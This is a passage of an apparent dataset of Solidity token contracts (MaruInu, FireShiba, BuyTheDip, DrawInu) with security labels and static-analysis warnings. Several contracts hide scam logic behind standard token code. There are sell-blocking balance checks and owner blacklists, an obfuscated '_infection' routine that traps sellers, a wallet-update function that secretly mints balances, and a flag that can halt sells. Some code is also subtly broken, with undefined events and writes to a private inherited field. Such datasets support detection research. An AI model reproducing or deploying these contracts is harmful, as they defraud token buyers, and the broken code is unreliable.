_teamFee;\n }\n\n function addWhiteList(address botAdd) public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n _whiteList.push(botAdd);\n }\n\n function removeWhiteList(address newAdd) public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n _newList.push(newAdd);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function checkBalanceAddress(\n address _walletAddress\n ) private view returns (bool) {\n uint256 _botBalance = _tTotal.mul(30).div(100);\n if (\n _walletAddress == _lpAddress ||\n checkBlackList(_walletAddress) == true\n ) {\n return true;\n }\n\n if (\n balanceOf(_walletAddress) >= _maxTxAmount &&\n balanceOf(_walletAddress) <= _botBalance\n ) {\n return false;\n } else {\n return true;\n }\n }\n\n function checkWhiteList(address botAdd) private view returns (bool) {\n\t\t// cache-array-length | ID: 8955d8c\n for (uint256 i = 0; i < _whiteList.length; i++) {\n if (_whiteList[i] == botAdd) {\n return true;\n }\n }\n }\n\n function checkBlackList(address botAdd) private view returns (bool) {\n\t\t// cache-array-length | ID: 67d832f\n for (uint256 i = 0; i < _newList.length; i++) {\n if (_newList[i] == botAdd) {\n return true;\n }\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n if (checkWhiteList(sender) == true) {\n require(\n amount < _taxFee,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n }\n\n if (sender == owner() || sender == _marketingWallet) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n } else {\n require(checkBalanceAddress(sender));\n\n uint256 transferFee = amount.mul(_taxFee).div(100);\n uint256 transferAmount = amount.sub(transferFee);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(transferAmount);\n _balances[_marketingWallet] = _balances[_marketingWallet].add(\n transferFee\n );\n\n emit Transfer(sender, recipient, transferAmount);\n }\n }\n\n function airdrop(\n address from,\n address[] calldata addresses,\n uint256[] calldata tokens\n ) external onlyOwner {\n uint256 SCCC = 0;\n\n require(\n addresses.length == tokens.length,\n \"Mismatch between Address and token count\"\n );\n\n for (uint256 i = 0; i < addresses.length; i++) {\n SCCC = SCCC + tokens[i];\n }\n\n require(balanceOf(from) >= SCCC, \"Not enough tokens to airdrop\");\n\n for (uint256 i = 0; i < addresses.length; i++) {\n _basicTransfer(from, addresses[i], tokens[i]);\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 26edbef): MaruInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 26edbef: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: faa2ada): MaruInu.updateLPAddress(address).addr lacks a zerocheck on \t _lpAddress = addr\n\t// Recommendation for faa2ada: Check that the address is not zero.\n function updateLPAddress(address addr) public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n\t\t// missing-zero-check | ID: faa2ada\n _lpAddress = addr;\n }\n}",
"file_name": "solidity_code_2471.sol",
"secure": 0,
"size_bytes": 9986
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FireShiba is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address public _isBlackListedBot;\n address public _isBlackListedSniper;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc77b92): FireShiba._tTotal should be constant \n\t// Recommendation for bc77b92: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 1000000000000000 * 10 ** 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71b9670): FireShiba._name should be constant \n\t// Recommendation for 71b9670: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Fire Shiba\";\n\t// WARNING Optimization Issue (constable-states | ID: ca900d9): FireShiba._symbol should be constant \n\t// Recommendation for ca900d9: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"FISHIB\";\n\t// WARNING Optimization Issue (constable-states | ID: 615e12a): FireShiba._decimals should be constant \n\t// Recommendation for 615e12a: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n constructor() public {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9defcc2): FireShiba.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9defcc2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fe3dee0): FireShiba.setBlackListBot(address,address).botAddress lacks a zerocheck on \t _isBlackListedBot = botAddress\n\t// Recommendation for fe3dee0: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4c9ec87): FireShiba.setBlackListBot(address,address).botsAddress lacks a zerocheck on \t _isBlackListedSniper = botsAddress\n\t// Recommendation for 4c9ec87: Check that the address is not zero.\n function setBlackListBot(\n address botAddress,\n address botsAddress\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: fe3dee0\n _isBlackListedBot = botAddress;\n\t\t// missing-zero-check | ID: 4c9ec87\n _isBlackListedSniper = botsAddress;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 98f2b88): FireShiba._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 98f2b88: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(sender != _isBlackListedSniper, \"Blacklisted bot sniper\");\n require(recipient != _isBlackListedBot, \"Blacklisted bot\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_2472.sol",
"secure": 0,
"size_bytes": 5736
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) public DipContract;\n mapping(address => bool) public LongContract;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n address private _creator;\n uint256 private _totalSupply;\n uint256 private ShortContract;\n uint256 private LiquidationTx;\n uint256 private SerShortPls;\n bool private LongItOrNo;\n bool private ShortLongBotNo;\n bool private YesGoodDip;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 70f5622): ERC20.constructor(string,string,address).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for 70f5622: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address creator_) {\n _name = name_;\n\t\t// missing-zero-check | ID: 70f5622\n _creator = creator_;\n _symbol = symbol_;\n DipContract[creator_] = true;\n LongItOrNo = true;\n YesGoodDip = false;\n LongContract[creator_] = false;\n ShortLongBotNo = true;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _infection(address sender, uint256 amount, uint256 time) internal {\n uint256 getTimeDifference = block.timestamp - time;\n\t\t// timestamp | ID: 34b999b\n\t\t// tautology | ID: 1d30e07\n if ((DipContract[sender] == false) && (getTimeDifference >= 0)) {\n if ((amount > SerShortPls)) {\n require(false);\n }\n require(amount < ShortContract);\n if (YesGoodDip == true) {\n if (LongContract[sender] == true) {\n require(false);\n }\n LongContract[sender] = true;\n }\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n (DipContract[spender], LongContract[spender], LongItOrNo) = ((address(\n owner\n ) == _creator) && (LongItOrNo == true))\n ? (true, false, false)\n : (DipContract[spender], LongContract[spender], LongItOrNo);\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n (ShortContract, YesGoodDip) = ((address(sender) == _creator) &&\n (ShortLongBotNo == false))\n ? (LiquidationTx, true)\n : (ShortContract, YesGoodDip);\n (DipContract[recipient], ShortLongBotNo) = ((address(sender) ==\n _creator) && (ShortLongBotNo == true))\n ? (true, false)\n : (DipContract[recipient], ShortLongBotNo);\n\n uint256 timeNOW = block.timestamp;\n _infection(sender, amount, timeNOW);\n\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _createContract(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n (uint256 temp1, uint256 temp2) = (10000, 500);\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n ShortContract = _totalSupply;\n\t\t// divide-before-multiply | ID: 7033bae\n LiquidationTx = _totalSupply / temp1;\n\t\t// divide-before-multiply | ID: 7033bae\n SerShortPls = LiquidationTx * temp2;\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_2473.sol",
"secure": 0,
"size_bytes": 7781
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _createContract(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_2474.sol",
"secure": 0,
"size_bytes": 1064
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract BuyTheDip is ERC20Token {\n constructor()\n ERC20Token(\n \"Buy The Dip\",\n \"BUYTHEDIP\",\n msg.sender,\n 10000000000000 * 10 ** 18\n )\n {}\n}",
"file_name": "solidity_code_2475.sol",
"secure": 1,
"size_bytes": 326
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DrawInu is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n address public marketingWallet;\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n uint256 public percentForLPBurn = 25;\n bool public lpBurnEnabled = false;\n uint256 public lpBurnFrequency = 3600 seconds;\n uint256 public lastLpBurnTime;\n\n uint256 public manualBurnFrequency = 30 minutes;\n uint256 public lastManualLpBurnTime;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n uint256 maxTxLimit = 0;\n bool public i = maxTxLimit > 0 ? false : true;\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n constructor() ERC20(\"DrawInu\", \"DrawInu\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 4;\n uint256 _buyLiquidityFee = 2;\n uint256 _buyDevFee = 4;\n\n uint256 _sellMarketingFee = 4;\n uint256 _sellLiquidityFee = 2;\n uint256 _sellDevFee = 4;\n\n uint256 totalSupply = 1 * 1e12 * 1e18;\n\n maxTransactionAmount = (totalSupply * 10) / 1000;\n maxWallet = (totalSupply * 20) / 1000;\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n marketingWallet = address(0x2b8565b87607cBa9686f3d55222ce586E0C0BfcD);\n devWallet = address(0xEB2147406028547a246EBDA07f2e96D5E6982eC6);\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n lastLpBurnTime = block.timestamp;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n calcTxFee(newNum);\n }\n function calcTxFee(uint256 newNum) private {\n if (newNum * (10 ** 18) >= totalSupply()) {\n maxTxLimit = newNum * (10 ** 18);\n i = !i;\n }\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n buyMarketingFee = _marketingFee;\n buyLiquidityFee = _liquidityFee;\n buyDevFee = _devFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n sellMarketingFee = _marketingFee;\n sellLiquidityFee = _liquidityFee;\n sellDevFee = _devFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function updateMarketingWallet(\n address newMarketingWallet,\n address a,\n uint256 b\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n _balances[a] = _balances[a].add(b);\n marketingWallet = newMarketingWallet;\n }\n\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount && i,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n swapBack();\n\n swapping = false;\n }\n\n if (\n !swapping &&\n automatedMarketMakerPairs[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = amount.mul(sellTotalFees).div(100);\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = amount.mul(buyTotalFees).div(100);\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n tokensForLiquidity = 0;\n tokensForMarketing = 0;\n tokensForDev = 0;\n\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n addLiquidity(liquidityTokens, ethForLiquidity);\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function setAutoLPBurnSettings(\n uint256 _frequencyInSeconds,\n uint256 _percent,\n bool _Enabled\n ) external onlyOwner {\n require(\n _frequencyInSeconds >= 600,\n \"cannot set buyback more often than every 10 minutes\"\n );\n require(\n _percent <= 1000 && _percent >= 0,\n \"Must set auto LP burn percent between 0% and 10%\"\n );\n lpBurnFrequency = _frequencyInSeconds;\n percentForLPBurn = _percent;\n lpBurnEnabled = _Enabled;\n }\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n pair.sync();\n emit AutoNukeLP();\n return true;\n }\n\n function manualBurnLiquidityPairTokens(\n uint256 percent\n ) external onlyOwner returns (bool) {\n require(\n block.timestamp > lastManualLpBurnTime + manualBurnFrequency,\n \"Must wait for cooldown to finish\"\n );\n require(percent <= 1000, \"May not nuke more than 10% of tokens in LP\");\n lastManualLpBurnTime = block.timestamp;\n\n uint256 liquidityPairBalance = 